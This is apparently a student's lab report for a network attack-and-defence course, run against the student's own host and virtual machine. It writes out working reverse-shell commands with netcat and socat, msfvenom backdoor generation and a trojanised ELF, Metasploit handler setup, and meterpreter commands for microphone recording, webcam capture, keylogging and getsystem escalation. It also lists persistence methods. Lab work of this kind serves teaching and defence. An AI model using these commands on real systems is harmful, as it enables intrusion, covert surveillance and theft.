20232320 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

关于后门

什么是后门

后门是隐藏在系统中的秘密通道,让攻击者能够绕过正常安全控制,随时访问和控制目标系统。

后门如何实现

·生成恶意程序(如MSF meterpreter)
·通过计划任务、系统服务、启动项实现持久化
·利用漏洞或社会工程学植入目标系统

后门攻击过程

·攻击者监听特定端口
·受害者运行后门程序
·建立远程连接获取系统控制权
·执行窃取数据、监控、提权等操作

后门本质:秘密通道 + 持久化访问 = 长期控制系统

什么是免杀技术

免杀技术是指使恶意软件(如后门、病毒)逃避杀毒软件检测的技术。
其核心原理是伪装(让恶意代码看起来像正常程序)、变形(改变代码特征,避免特征码匹配)和加密(隐藏恶意行为,运行时解密)

2.实验过程

回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

我认为最常见的是社会工程学攻击,比如说你收到一封伪装成“公司年终奖金通知”的邮件,发件人看起来是上级或HR。邮件中包含一个附件,你打开附件,文件提示“需要启用xxx才能正常查看内容”。你点击“启用xxx”,内嵌的代码便悄悄在后台从远程服务器下载并执行后门程序。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win

·设定在特定时间、用户登录时或系统启动时触发
·后门路径写入 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 等键值
·替换系统程序调用的合法DLL,当该程序运行时,恶意DLL被加载

linux

·通过crontab -e添加定时任务
·创建一个.service文件,配置为系统服务
·例如替换 ls、ps 等常用命令,当管理员使用这些命令时触发后门

(3)Meterpreter有哪些给你映像深刻的功能?

·可以从一个进程瞬间迁移注入到另一个稳定系统进程
·完全运行在内存中,不向硬盘写入文件,绕过了许多基于文件扫描的杀毒软件
·Meterpreter的通信默认是加密的,网络入侵检测系统难以发现其恶意流量

(4)如何发现自己有系统有没有被安装后门?

·查看异常的外连IP和端口,特别是监听状态和已建立的连接到未知地址的连接
·分析安全日志
·性能监控
·对比系统关键目录的文件哈希值与干净版本是否一致,以发现被替换的系统文件

进行实验

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

<1>主机和虚拟机相互ping通

本机:172.16.177.230
虚拟机:192.168.190.129
aa070c174d2584c7bc2666c938028d7
951c269eab19f37750c63de63fbd18c

<2>netcat获取主机操作shell

本机命令行输入ncat.exe -l -p 8888
6adfa0dab2b47ff6eef43c9fe57a849
虚拟机进入root模式并输入nc 172.16.177.230(本机地址) -e /bin/sh
4ca42fd95b93061d0aa7e48f48336bf
回到本机,输入ls
34e95c78d27bfbb1c668caf0e531989
其中解决了GBK和utf-8编码问题
910e3df76570ab883b0c424af538e3e
可以显示虚拟机目录

<3>利用cron创建定时任务

创建每五分钟运行一次的写任务
6adfa0dab2b47ff6eef43c9fe57a849
在虚拟机中成功运行
c738046b3c636aba90c18f3a0c10b70

(2)使用socat获取主机操作Shell, 任务计划启动

<1>相互ping通

本机:192.168.5.7
虚拟机:192.168.190.129
0ae54396be1ce51f02e52f5feb00a33
befcda3926713dcaf10f2e3d657bcd3

<2>socat连接本机

本机进入socat文件夹并输入.\socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
e06fc0e43c188120739d997d9f29ee1
虚拟机终端输入socat - tcp:192.168.5.7:8888
332be7e89afc14d417baa9a62da35b9
提前准备好一个任务,虚拟机输入运行命令,这里我准备的任务是在本机建立一个txt文件,里面的内容是i am 20232320
40325b1b62823294806c86fbbba6cce
2520cda8b8344728f7536dc74ce2b6e
运行成功

(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

<1>生成可执行文件

本机:172.16.219.120
虚拟机:192.168.190.129
虚拟机中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.129 LPORT=8888 -f exe > 20232320backdoor.exe
285db844f6c153bd9577a4e901ffe28

<2>利用netcat传送到主机

本机终端中输入ncat.exe -lv 8888 > "D:\Desktop\20232320backdoor.exe"传送到本机
4c3001f8fa5508ee8388bf60855192f
可以看到20232320backdoor.exe已经存在于本机
6d999b0439abd7460b8123bd3895c2e

<3>虚拟机开启监听

虚拟机输入msfconsole后依次进行配置,配置如下:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.190.129 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
6ed2d0af410df304c52549ab5b579a0
然后开始建立连接
a219a566786ee205329fd4c5693c5a1
此时在本机上运行20232320backdoor.exe
回到虚拟机已获得本机shell
f64a65cd3269ef6b620945ecb85bc8f

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

<1>获取目标主机音频、摄像头、击键记录等内容

保持上一步操作获得的shell,分别输入以下命令
音频record_mic
摄像头webcam_snap
键入内容
keyscan_startkeyscan_dump
3c13310862c6c0a9cdaa673b9d682fe
aa0a96eac808a0e19086d3d7211edb4
23a86320ebdc695e58e6ebbfa29696d

<2>提权

查看当前用户getuid
输入提权指令getsystem
52f86322105e99f1abaf67f6adf44ee

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

<1>生成新的shellcode

msfvenom -p linux/x86/meterpreter/reverse tcp LHOST=192.168.190.129 LPORT=8888 -x "/home/kali/桌面/pwn20232320"-f elf > "/home/kali/桌面/pwn2_5_20232320"
1bc3f9d3633d8eb3bf199034e99765f
赋予权限chmod a+x "/home/kali桌面/pwn2_5_20232320"
070090d8412c1fe21996c489f11b8fc

<2>再次监听

和之前相同配置,但是注意把Windows换成linux
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.190.129
set LPORT 8888
exploit
监听并运行pwn2_5_20232320
3830f3cc5c17cb91a26ac9ccafdf934
连接成功,获取shell
6a177df51b668bd7b46aad1b2ed0669

3.问题及解决方案

-问题一:

6e4c672bd4a97851c5c5b2d7bf0a570

-问题一解决:未绑定端口

4ca42fd95b93061d0aa7e48f48336bf

-问题二:查看程序说成功运行但是未在对应目录下找到创建的文件

332be7e89afc14d417baa9a62da35b9
5c00358a1a2c7a6d611e43bbacf25c3

-问题二解决:问题中文路径支持不好,改到了使用用户桌面路径

40325b1b62823294806c86fbbba6cce

-问题三:Meterpreter会话建立了但是立即断开了,显示reason:died

769b00daad471f662a2e6a4656c943c

-问题三解决:Kali Linux 系统中安装的 Ruby 版本(Ruby 3.1)与 Metasploit 框架当前版本所依赖的 Ruby 版本不兼容

依据毕悠尘同学的思路,更新 Metasploit 框架及其所有依赖项,确保它们与当前系统的 Ruby 版本兼容
在虚拟机中输入下面两条指令:
sudo apt update
sudo apt install metasploit-framework
前往微软官方下载页面:Microsoft Visual C++ Redistributable Latest Supported Downloads
下载 vc_redist.x86.exe(32位版本),msfvenom生成的后门是32位的,所以需要安装32位的组件包。
这时再次进行相同步骤的实验,可以发现实验完成。

-问题四:生成新的shellcode时找不到文件

72ff0b8ba6d39e32fe2660f1143cfbc

-问题四解决:Kali的中文"桌面"和英文"Desktop"是两个不同的目录,会导致路径问题

切到中文桌面路径
b300a3e775bb3d8b2296aff7bc8e770
aa766af6a56df51c1fffb28733969eb

4.学习感悟及思考

在本次实验中我首先学习了netcat和socat,也掌握了cron的基本概念和用法,在利用后门获取不管是本机还是虚拟机的shell权限中,我对后门这种“隐秘通道”的理解加深了,我认为它并不是一个实质性的攻击程序,而是利用了系统本身的信任机制巧妙夺取合法权限。
通过自己切身操作成功获取一个个Shell,理解攻击的原理才能知道应该在何处布防,我开始思考在平时日常生活中对于后门攻击的防范,后门一旦布下对于被攻击的主机来说就再无隐私可言,所以学习网络攻防不应只将网络安全视为一道静态的防火墙,而是一场动态的、在细节中决出胜负的博弈,不断提高自身素养才能在这场斗争中掌握主动权。

参考资料

https://blog.csdn.net/2301_79518550/article/details/149029359
https://blog.csdn.net/weixin_54430466/article/details/121678118

posted @ 2025-10-20 15:08  20232320黄馨仪  阅读(16)  评论(0)    收藏  举报